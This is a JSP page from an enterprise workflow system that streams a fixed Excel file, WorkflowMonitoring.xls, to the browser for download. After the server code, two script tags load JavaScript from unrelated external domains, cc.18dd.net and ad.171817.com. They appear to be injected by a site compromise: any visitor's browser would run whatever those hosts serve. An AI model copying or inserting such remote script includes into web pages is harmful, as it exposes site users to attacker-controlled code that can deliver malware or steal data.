


<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%@page import="com.dcivision.dms.core.FileDownloader"%>

<%
  String  repath = SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_ATTACHMENT_PHYSICAL_PATH);
  repath += "\\WorkflowMonitoring.xls";
  
  InputStream dataStream = null;
 
	try{
      File file = new File(repath);      	
      dataStream=new FileInputStream(file);       	
      boolean isDownload = true;	
      FileDownloader fd = new FileDownloader();
      fd.setFileName(file.getName());
      fd.setContentType(HTTPUtility.getContentType(file.getName()));
      fd.setIsDownload(isDownload);
      fd.setInputStream(dataStream);
      fd.setRequest(request);
      fd.setResponse(response);
      fd.operate();

 } catch (Exception ex){
	 LogFactory.getLog(this.getClass()).error(ex, ex);
 } finally {
	try { dataStream.close(); } catch (Exception ignore) {} finally { dataStream = null; }   
 }

%>



<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>